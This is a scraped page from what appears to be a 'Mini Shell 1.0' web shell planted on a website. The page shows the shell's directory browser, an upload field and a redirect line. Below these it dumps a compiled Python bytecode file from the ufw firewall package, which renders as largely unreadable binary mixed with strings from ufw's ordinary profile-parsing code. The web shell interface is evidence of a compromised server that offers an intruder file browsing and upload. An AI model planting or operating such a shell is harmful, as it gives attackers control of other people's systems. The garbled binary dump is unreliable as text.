HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/ufw/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/ufw/__pycache__/applications.cpython-311.pyc
�

#fd����dZddlZddlZddlZddlZddlmZmZddlm	Z	ddl
Z
e
jddkrddlZnddl
Z
d�Zd�Zd�Zd	�Zd
�Zd�ZdS)z'applications.py: common classes for ufw�N)�debug�warn)�UFWError�c�	�tj�|��std��}t	|���d}i}tj|��}|���d}tjd��}|D�]}|dz|z}tj�	|��s�+|�
|��rtd|z���S|�d��si|�d��sT|�d	��s?|�d
��s*|�d��s|�d��rtd
|z����d}		tj
|��tj}	n2#t$r%td��|z}
t!|
��Y��:wxYw|	|kr#td��|z}
t!|
����g||	z|kr#td��|z}
t!|
�����||	z
}t"jddkrt'j��}nt+j��}	|�|��n2#t$r%td��|z}
t!|
��Y��wxYw|���D�]�}t1|��dkr"td��|z}
t!|
���8t3|��s"td��|z}
t!|
���i	t4j�|��td��|z}
t!|
����#t$rYnwxYwd}
|�|��D]x\}}t1|��dkr%td��|z}
t!|
��d}
n<t1|��dkr(td��||d�z}
t!|
��d}
n�y|
r��O||vr!td��|z}
t!|
��i}|�|��D]
\}}|||<�	t=||��|||<���#t$r}t!|��Yd}~���d}~wwxYw��	|S)zwGet profiles found in profiles database.  Returns dictionary with
       profile name as key and tuples for fields
    z!Profiles directory does not existi�rz^\.�/zSkipping '%s': hidden filez	.dpkg-newz	.dpkg-oldz
.dpkg-distz.rpmnewz.rpmsave�~z
Skipping '%s'zSkipping '%s': couldn't statzSkipping '%s': too bigz*Skipping '%s': too many files read alreadyrzSkipping '%s': couldn't process�@zSkipping '%s': name too longzSkipping '%s': invalid namez$Skipping '%s': also in /etc/servicesFzSkipping '%s': field too longTiz4Skipping '%(value)s': value too long for '%(field)s')�value�fieldz(Duplicate profile '%s', using last foundN)�os�path�isdir�_r�listdir�sort�re�compile�isfile�searchr�endswith�stat�ST_SIZE�	Exceptionr�sys�version_info�ConfigParser�RawConfigParser�configparser�read�sections�len�valid_profile_name�ufw�util�get_services_proto�items�verify_profile)�profiles_dir�err_msg�max_size�profiles�files�
total_size�pat�f�abs_path�size�warn_msg�cdict�p�skip�keyr�pdict�es                  �2/usr/lib/python3/dist-packages/ufw/applications.py�get_profilesr; s����7�=�=��&�&� ��7�8�8���w�����H��H��J�|�$�$�E�	�J�J�L�L�L��J�
�*�V�
�
�C�
�c�c���#�%��)���w�~�~�h�'�'�	���:�:�a�=�=�	��.�!�4�5�5�5���:�:�k�"�"�	�a�j�j��&=�&=�	��:�:�l�#�#�	�'(�z�z�)�'<�'<�	��:�:�j�!�!�	�%&�Z�Z��_�_�	�
�/�Q�'�(�(�(����	��7�8�$�$�T�\�2�D�D���	�	�	��7�8�8�A�>�H���N�N�N��H�	����
�(�?�?��1�2�2�a�8�H���N�N�N�����x�'�'��E�F�F�!�L�H���N�N�N���d��
���A���"�"� �0�2�2�E�E� �0�2�2�E�	��J�J�x� � � � ���	�	�	��:�;�;�q�A�H���N�N�N��H�	�������!�!�1	�1	�A��1�v�v��{�{��;�<�<��B���X�����%�a�(�(�
��:�;�;�q�A���X�����
���+�+�A�.�.�.��C�D�D��J���X�������
�
�
���
�����D�#�k�k�!�n�n�
�
�
��U��s�8�8�b�=�=� �!@�A�A�Q�G�H���N�N�N��D��E��u�:�:��$�$� �"/� 0� 0�,-��"<�"<� >�H���N�N�N��D��E�
%��
���H�}�}��G�H�H�A�N���X�����E�#�k�k�!�n�n�
#�
#�
��U�"��c�
�
�
��q�%�(�(�(�#�������
�
�
��Q�������������
����a1	�f�OsO�)$F�+F=�<F=�I.�.+J�J�AM�
M,�+M,�Q"�"
R�,R�Rc��|dkrdS	t|��dS#t$rYnwxYwtjd|��rdSdS)z0Only accept a limited set of characters for name�allFz ^[a-zA-Z0-9][a-zA-Z0-9 _\-\.+]*$T)�intrr�match)�names r:r#r#�sh���u�}�}��u�
��D�	�	�	��u���
�
�
���
����

�x�3�T�:�:���t��5s��
(�(c�f�gd�}|D]V}||vr$td��||d�z}t|���||s$td��||d�z}t|����W|d�d��}	|D]q}tj�|��\}}|dkrd|vsd	|vrt|���tj�d
||��}	t|	���rnB#t$r5}
t|
��td��|z}t|���d}
~
wwxYwd
S)z'Make sure profile has everything needed)�title�description�portsz/Profile '%(fn)s' missing required field '%(f)s')�fnr0z1Profile '%(fn)s' has empty required field '%(f)s'rD�|�any�:�,�ACCEPTzInvalid ports in profile '%s'NT)
rr�splitr$r%�parse_port_proto�common�UFWRulerr)r@�profile�
app_fieldsr0r*rDr5�port�proto�ruler9s           r:r(r(�s��2�2�2�J�
�	$�	$���G����I�J�J� $�1�-�-�/�G��7�#�#�#����	$��K�L�L�"&�Q�/�/�1�G��7�#�#�#�	$�

�G��"�"�3�'�'�E� ��	�	�A��H�5�5�a�8�8�M�T�5���~�~�3�$�;�;�#��+�+��w�'�'�'��:�%�%�h��t�<�<�D��$�K�K�K�K�
	��� � � �
�a�����3�4�4��=���w�������� ����
�4s�:A4C/�/
D.�90D)�)D.c�6�d}d}||vr||r||}|S)z#Retrieve the title from the profile�rB��rO�srs   r:�	get_titlerY�s.��
�A��E�����G�E�N���E�N���H�c�6�d}d}||vr||r||}|S)z)Retrieve the description from the profilerUrCrVrWs   r:�get_descriptionr\�s.��
�A��E�����G�E�N���E�N���HrZc�\�g}d}||vr#||r||�d��}|S)z'Retrieve a list of ports from a profilerDrF)rK)rOrDrs   r:�	get_portsr^�s<���E��E�����G�E�N�����$�$�S�)�)���LrZ)�__doc__r
rr�ufw.utilr$rr�
ufw.commonrrrrrr;r#r(rYr\r^rVrZr:�<module>rbs���-�-�"
�	�	�	�	�	�	�	��������� � � � � � � � �������
�
�
�
���A��������������u�u�u�p���(���@
�
�
�
�
�
�����rZ